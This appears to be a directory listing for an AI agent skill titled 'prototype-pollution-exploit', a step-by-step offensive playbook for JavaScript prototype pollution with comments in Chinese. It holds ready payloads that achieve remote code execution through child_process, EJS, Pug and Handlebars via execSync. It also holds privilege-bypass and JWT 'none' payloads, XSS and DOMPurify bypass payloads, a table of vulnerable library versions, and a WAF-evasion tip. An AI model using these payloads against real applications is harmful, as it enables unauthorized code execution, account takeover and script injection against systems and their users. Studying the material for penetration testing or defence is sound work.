SuperAPI AI Directory

prototype-pollution-exploit

Security & auditing

View repository

Updated 10-16 04:40

About this skill

JavaScript Prototype Chain Pollution Exploitation

Core Principle: By modifying the Object.prototype, inject malicious properties into all JavaScript objects

⛔ Further Reference


Phase 1: Identify Prototype Chain Pollution Points

1.1 Common Trigger Patterns

存在漏洞的代码模式:
├─ 递归合并/深拷贝: merge(target, userInput)
├─ 路径赋值: obj[a][b] = value(a/b 来自用户)
├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本)
├─ jQuery: $.extend(true, {}, userInput)
└─ 自定义 deepCopy/assign 函数

1.2 Test Payload

// 方式 1: __proto__ 直接注入
{"__proto__": {"polluted": "yes"}}

// 方式 2: constructor.prototype
{"constructor": {"prototype": {"polluted": "yes"}}}

// 方式 3: 嵌套路径注入(URL 参数场景)
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes

// 方式 4: JSON 数组绕过(某些 parser 处理差异)
[{"__proto__": {"polluted": "yes"}}]

1.3 Detect Success

// 服务端验证(如能执行代码)
console.log({}.polluted);  // 输出 "yes" = 污染成功

// 黑盒验证:观察应用行为变化
// 例如:污染 admin=true → 获取管理员权限

Phase 2: Server-side Exploitation (RCE First)

2.1 Decision Tree

目标环境?
├─ Node.js + child_process 可触发
│   └─ 污染 shell/env/NODE_OPTIONS → RCE
├─ Node.js + 模板引擎(EJS/Pug/Handlebars)
│   └─ 污染模板编译选项 → RCE
├─ Node.js + 认证逻辑
│   └─ 污染 isAdmin/role → 权限绕过
└─ 无直接 RCE 路径
    └─ 污染配置项(DEBUG/verbose)→ 信息泄露

2.2 RCE via child_process

// 污染 child_process.spawn 的默认选项
{"__proto__": {
  "shell": "node",
  "NODE_OPTIONS": "--require /proc/self/environ"
}}

// 或通过 env 注入
{"__proto__": {
  "env": {
    "NODE_OPTIONS": "--require=./malicious.js"
  },
  "shell": "/bin/bash"
}}

2.3 RCE via EJS Template Engine

// EJS 编译时会检查 opts.outputFunctionName
// 如果被污染,注入的代码会在模板编译时执行
{"__proto__": {
  "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}}

// EJS 3.x 另一向量
{"__proto__": {
  "client": true,
  "escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"
}}

2.4 RCE via Pug/Jade

// Pug 模板引擎
{"__proto__": {
  "block": {
    "type": "Text",
    "val": "x]);process.mainModule.require('child_process').execSync('id');//"
  }
}}

2.5 RCE via Handlebars

// Handlebars 4.x
{"__proto__": {
  "main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"
}}

2.6 Privilege Bypass

// 应用检查 user.isAdmin 或 user.role
// 如果未显式设置,会继承 prototype 的值
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"verified": true}}

// JWT 验证绕过(某些实现)
{"__proto__": {"algorithm": "none"}}

Phase 3: Client-side Exploitation

3.1 XSS via DOM Property Pollution

// 污染 innerHTML 相关属性
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}

// 通过 URL 参数污染(某些 SPA 框架解析 query string)
?__proto__[src]=data:,alert(1)
?__proto__[onload]=alert(1)

3.2 Bypass DOMPurify/Sanitizer

// 某些版本的 DOMPurify 可通过原型链污染绕过
{"__proto__": {"ALLOWED_TAGS": ["img", "script"]}}
{"__proto__": {"ADD_ATTR": ["onerror", "onload"]}}

// 或禁用清理
{"__proto__": {"RETURN_DOM": true}}

3.3 jQuery Gadget

// jQuery < 3.4.0 的 $.extend 存在原型链污染
// 配合 HTML 属性注入
{"__proto__": {"class": "xss-class", "onclick": "alert(1)"}}

Phase 4: Common Framework Vulnerable Versions

Library Vulnerable Versions CVE
lodash merge < 4.17.12 CVE-2019-10744
lodash defaultsDeep < 4.17.12 CVE-2019-10744
jQuery extend < 3.4.0 CVE-2019-11358
minimist < 1.2.6 CVE-2021-44906
class-transformer < 0.3.1 —
Hoek (hapi) < 5.0.3 CVE-2018-3728
Handlebars < 4.6.0 CVE-2019-19919
EJS < 3.1.7 CVE-2022-29078

Phase 5: Automated Discovery

# 静态扫描(源代码审计)
grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" .
grep -rn "\[.*\]\[.*\].*=" --include="*.js" .  # 动态路径赋值

# 依赖版本检查
npm audit
npm ls lodash  # 检查 lodash 版本

# 动态测试
# 在所有 JSON 输入点注入 __proto__ payload
# 观察响应变化或新属性出现

⛔ Notes

  • Node.js's --disable-proto=throw option prevents __proto__ access
  • Object.create(null) Object created with no prototype → cannot be polluted
  • ES2022 Object.hasOwn() is not affected by the prototype
  • Some WAFs filter __proto__ → use constructor.prototype to bypass